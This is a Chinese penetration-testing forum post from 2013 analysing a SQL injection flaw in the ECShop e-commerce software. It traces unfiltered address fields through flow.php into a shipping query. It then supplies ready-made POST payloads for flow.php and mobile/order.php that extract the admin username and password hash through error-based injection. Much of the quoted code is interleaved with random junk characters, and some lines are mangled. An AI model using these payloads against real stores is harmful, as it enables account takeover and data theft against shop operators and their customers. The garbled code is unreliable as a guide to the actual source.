中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
6 s, c. Y2 J9 ]* F
" _% W: W* M1 P' K" @; X    漏洞关键文件:
3 l8 J! H' G0 p! k: }
& u  a! @& g; D6 B    /includes/lib_order.php6 ?2 Q) j7 A) O" r- s& X+ p% k

% k  S9 h; u5 q% f( H5 j. H8 S    关键函数:5 W: B" ?( D* }  K: [
$ Z6 F( y  U0 E% c7 F6 l+ l
' d3 H- }; [+ {) h' m

1 S( X7 L- @3 x' v9 M0 y; F- I01     function available_shipping_list($region_id_list)
1 }2 Z" Q  I% n# c
/ J9 e' i3 X( E' R: \6 }02 {
1 O5 i5 I; m- f% u: j5 X
) c! _, i% f* N; i2 v' E1 E03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . / n8 j# [5 ~0 x6 h/ A! d$ h, z9 @

, f! @7 j$ {6 ~& B6 [2 p) |) X04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
' k. M" V& v. c& G9 o- E0 z9 u4 e6 V; Z' W: B
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 O, ^: @$ o6 ~' E/ Y
' g5 q5 h9 O! L& Z9 [& F  b2 @5 T
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ' o- r5 ?( n( a0 E% \

  y! Q/ l& ?6 o# T/ S- F8 c* Q: S07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 2 ~; b9 k" f1 a4 _/ r) y
2 [0 L" d6 q/ o5 a  Q
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 8 P* T( `0 W  I5 f& C, S. }9 v1 x& e1 j

7 ~5 l1 d4 m7 c5 E" @* w, p  S& P; F09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; # z# n! t0 d# V5 i0 t- M
1 f5 C$ E$ k. _; v2 C
10   ( H0 i5 j) H; ~9 p# f

5 V& W( s; K! Z; d- Q11     return $GLOBALS['db']->getAll($sql); ( N8 R, z, I+ a1 t4 V; D: U: B
: m+ C' V$ ]$ F+ I* M
12 } - z$ _5 _( L, c+ f4 g& U0 B

# h8 x8 I6 d5 r显然对传入的参数没有任何过滤就带入了查询语句。9 M6 `2 d. s. m$ d2 E( f' N

" g: E0 f0 o8 W  C下面我们追踪这个函数在flow.php中:
8 R$ H$ c' e; r+ g 第531行:   
3 V8 T, Z% Z, {8 D3 ]2 j1 c
& L/ e9 y. c% S1 k5 N" `7 F) _" W1 $shipping_list     = available_shipping_list($region); 0 f2 z' h0 o0 F; ~  {) m% l
" S* [0 E" P% H7 F! g0 N# R
  X8 {3 u- ^* J+ L( {7 k1 U& w5 ]

: p. ?2 c! O& Y. ~4 q
9 [3 K2 c. h; o  J1 ~0 n( D) I3 n
再对传入变量进行追踪:- U9 y9 k. C* A# i, q

" A7 x9 U/ l; j7 E) W% H+ b3 }第530行:    $ b  R, l. L( v; v# {6 |+ n5 r
* L1 h  }: a8 F+ u1 Z4 q( S/ K
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 f7 h! Y% f9 x4 J8 k1 p" ~' H3 |: e3 ]

6 U. B4 U3 R  g" G/ h
; A( ^2 A. x# U
$ s: H/ H0 Y& }# T
+ G3 R8 |6 n- B, t# _第473行:        
) w/ s4 X- @" x- H/ {5 _1 f5 ]$ B" K# t! M$ U! |
1 $consignee = get_consignee($_SESSION['user_id']);
# B0 R% p+ g9 `& I% m# s$ J( Q% J8 @5 r( [
到了一个关键函数:
: ]" x/ O5 ?- Q/ e5 X, L/ b) w$ Q3 V5 r( A8 }
/includes/lib_order.php  k! l. s' s7 q/ m! j

7 Y" Q; m0 X+ O+ z% M1 v
! V5 p/ s+ u  a4 z" Z5 u' i4 H6 s
5 Y6 \5 }+ {& F) h/ |! y; T( M% {6 P
* \5 _% l1 k- d& D0 b9 _) `/ p# m$ U; X% u& \4 o) G
01 function get_consignee($user_id)
: i) _: X) P3 `# X* V- A
5 `/ M2 u2 f+ Q02 {
( Z1 T8 |9 g# x) ^8 Z+ w' o& X$ o
. I, F' E& P8 c/ h/ C8 E+ o03     if (isset($_SESSION['flow_consignee'])) 9 D( J9 f3 C! d. _  P( o

+ @2 S( w4 g: Y/ }# y9 o$ |$ F04     {
: P6 o1 \. q  p9 R
( B/ L6 Z4 P  B) a, M* C0 Q05         /* 如果存在session,则直接返回session中的收货人信息 */
4 }( k! N" }  w( g. p0 t0 R5 e8 G* E' \' c) y) Y8 M1 e5 ~
06   0 h& s. U: a- V3 \7 W

9 m- ^9 P5 }0 f1 t- x5 H  `07         return $_SESSION['flow_consignee'];
; X5 F, d0 y5 x
. P  J2 y% I" t9 G08     } 3 W$ _: V' D( X& ?

* ?" Z6 ^+ U, A+ {3 J09     else
8 l! m! `. L) G4 u( J* R" M! f3 R' M  K" z. H9 v0 M
10     { ) ~% [1 b5 B0 ~- V! P2 n7 e% R
) w0 y$ S+ x2 F9 D# P
11         /* 如果不存在,则取得用户的默认收货人信息 */ . }  J! M8 W/ p) J% X% ^
- r6 c" u' s* C1 j+ ]
12         $arr = array(); + F  t. [( z5 O% p: ?
: H0 R5 e# x+ u$ u' M" z$ c
13   ( V1 S4 N* k0 s8 T, }

( Q3 c0 F1 F. M  m, g; f14         if ($user_id > 0) 6 j4 q! d% `+ S* `1 `% B  Z+ T
# Z$ h1 j/ `9 M3 x. O
15         {
) Q- H" Z* i  o- F( G" G$ P  R) n7 V/ v; R' ?4 i+ ^1 f
16             /* 取默认地址 */
. H% Z  d, E( F. F7 L4 n' U  Y; p3 Q3 O( G, H; N5 @4 ]! U
17             $sql = "SELECT ua.*".
# |( k, _6 R5 V. R
& O, r  u2 h4 k: W) V( j18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
% }/ Q, h" P- b: C. P) F+ W& y$ Q' T/ x! Q' G+ p/ H4 Y: P7 J
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* o3 J) t1 K& l, \9 Z4 q  e$ z; q$ T; u  o4 R, n) f$ Y1 U' [/ K/ |
20   
( m& I) ]8 i1 I) t0 a  K. c+ E2 V9 X3 F6 r
21             $arr = $GLOBALS['db']->getRow($sql);
- Y) m# ], L& P$ t9 r' b$ Q) ?8 {% q. N5 _+ N. Z  T
22         } + S  o$ w3 \6 T/ r1 G3 |3 R. X

, H: Y- H5 W  e* c2 D2 Z0 I. p23   2 Y3 R9 Z7 `8 ]. f4 K% V

* `) x! W+ a4 E2 u) }8 j! h% F5 G24         return $arr; ) L0 m/ h% Z7 b% O) l7 J

3 M% [+ P/ p5 a) {9 z2 P25     } 3 e$ O+ e4 K( r$ `1 i
1 n% z- ?; W7 O
26 }
, [3 m  S3 o/ I, ~1 ?, j8 i- M9 T
% O! K# S. X& d7 m# @$ N$ ^显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?; Z: Y% @# `" I- d
' u7 N, \% ^. A

2 b" {; a  y9 H' O9 p3 Z5 v  y" _- y, _% s. v8 G% K2 F
关键点:9 G( `4 g( o4 w+ X3 U
, @! Y* ~$ ]0 M; B
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);; j2 E' i" X8 b8 M
) R9 j) V0 h5 H2 ~
这里对传入参数反转义存入$_SESSION中。' w* W% O8 h$ X- c! D

7 p6 P. u0 S. B8 X, }+ ? ! O6 Q/ Z, k! E" W  R. _
6 p$ [% {2 M0 }# g8 d
然后看下:
; F" _7 Q( p% [) X
3 {; v" a* W- s - P8 }: h# c9 x. Q! E$ m: S4 r

) O' E4 K. W+ [! w' l   
4 h" D/ W+ V: e( f! I& }. N5 ]. n) h3 P6 p; R5 S
01 $consignee = array(
! P" U5 X1 p6 y  C/ p# t: z
" ^& t% ^2 C0 J4 ~# n" M02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), $ ~1 r+ Y. |. X( c! c7 U

8 F5 g# ~  H! }3 g1 e) q2 S03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 8 P0 B* [1 J3 A% N+ h$ m
+ o( p2 x# \8 ?: a/ L
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
% t& E0 r& m1 l1 R& W& M/ v% P  v# s: n# C$ ?
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], $ \7 E5 X1 t5 ]5 I! y

# a, m# M2 O' Z06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 8 L; F2 K# t5 p
" _2 h  _$ d5 y8 M7 Q6 G
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
* Y5 w( K6 Z7 D4 _) K, D# w
3 Q3 l# w/ @! d( ~  T, j; Q08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ' ^1 N$ j, q. B0 R3 P& A

/ n. o$ M+ p) y! ^09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
$ X" A1 m9 ^0 u5 L: w- m% X4 A  Q6 `: W# o/ v
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), , E/ W- H) K9 }3 t3 P* M# Q! A: k
2 a! K1 S; Y6 ~$ ]) b6 F
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
  q) L4 A8 @/ a$ I  A
# {" v: j  Y  r12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 9 M' M) I$ I( O9 i

! O9 Q; W( g% c13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
9 j, {' C% Q1 O
5 n; l! {* j- E14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
$ V! H& C' ?" A5 e4 y4 x# ]& J5 k" h$ {2 B. Z
15     ); . K! P; J+ B% `# e; G2 Q
9 |$ }/ }9 d! y
好了注入就这样出现了。
1 v) |& i! t/ u& `- E5 u: ~: p3 ~$ r& ~
==================
- z7 K# ]- ^$ g/ k! z
, P8 E. t* O5 t$ m" d注入测试:+ a: L# X/ Q" R' r
5 ^7 _1 G4 r$ {# k6 v) @5 i
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)) F  M: ~) A! S: `1 j

+ [( e2 i! G7 O0 i测试程序:ECShop_V2.7.3_UTF8_release1106
. j- m9 g) C- S7 N$ d/ u) L% s) e* R! ]% G2 G. b+ x
  r0 v* X7 ?$ y! o
4 u5 H( k- y* T% O  ?" |; O
1.首先需要点击一个商品加入购物车
/ i5 T7 }; f/ b0 k/ p: X3 Z) k5 l1 s: n# b
2.注册一个会员帐号( D& g8 a7 H# y! {; \( r  U
* p; |* p2 p4 Z
3.post提交数据. A: m; s" o) J6 X; B+ `

" t8 X5 R3 `, |, \8 E % [& w1 I1 u5 W
$ F7 F0 A2 Y) [. i- w/ N# Q0 w  u. \
1 http://127.0.0.1/ecshop/flow.php 0 i" R  G. v+ o! l* Y8 n) F2 x

$ a  b/ X% |5 f  o) ]0 S5 E2   # ~" j3 O5 }( S
5 L4 d" E/ ?) l0 v2 p( e5 x
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= % E7 Z  p+ t* x( n# a: W
举一反三,我们根据这个漏洞我们可以继续深入挖掘:8 ^: e) N5 g; E) m. N! Y+ w
  ^4 f6 n' x0 e6 K+ X! @
我们搜寻关键函数function available_shipping_list()# ^  _' }% g) z
7 ^9 R2 p' g  J. o; @
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同9 n. y8 A4 G( y9 Z$ H5 P) o
( N% K1 `7 l5 x' N8 I1 p
利用exp:# B& X6 `$ h$ n( Q% f+ [# n
, x) a: c  Q; p+ a5 Q4 ?
1.点击一个商品,点击购买商标# T. g! B* U& {/ O* b6 O

4 ~) z) j( q( X/ Y; i2.登录会员帐号
. F  ^; |2 M5 q8 Z& A" B
  D/ r1 Q4 G7 t% a$ [! r# h1 ~5 s3.post提交:
* ?8 f2 h3 H3 h) O! j& [2 I+ C1 F6 Q8 h7 W' b5 ^
http://127.0.0.1/ecshop/mobile/order.php
$ V; ^* `9 f2 M) x: x8 ~% a$ K% ]! ]! d
# {9 h- h+ J* F6 l$ K9 f! q
. \; ~% n. _+ e, v, n
) j+ K/ D" r+ S7 \8 V# S  Qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
- t) J8 n/ @0 W5 [! F: M
( i  ~" T2 E) R3 G$ f" G. H3 L+ i




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2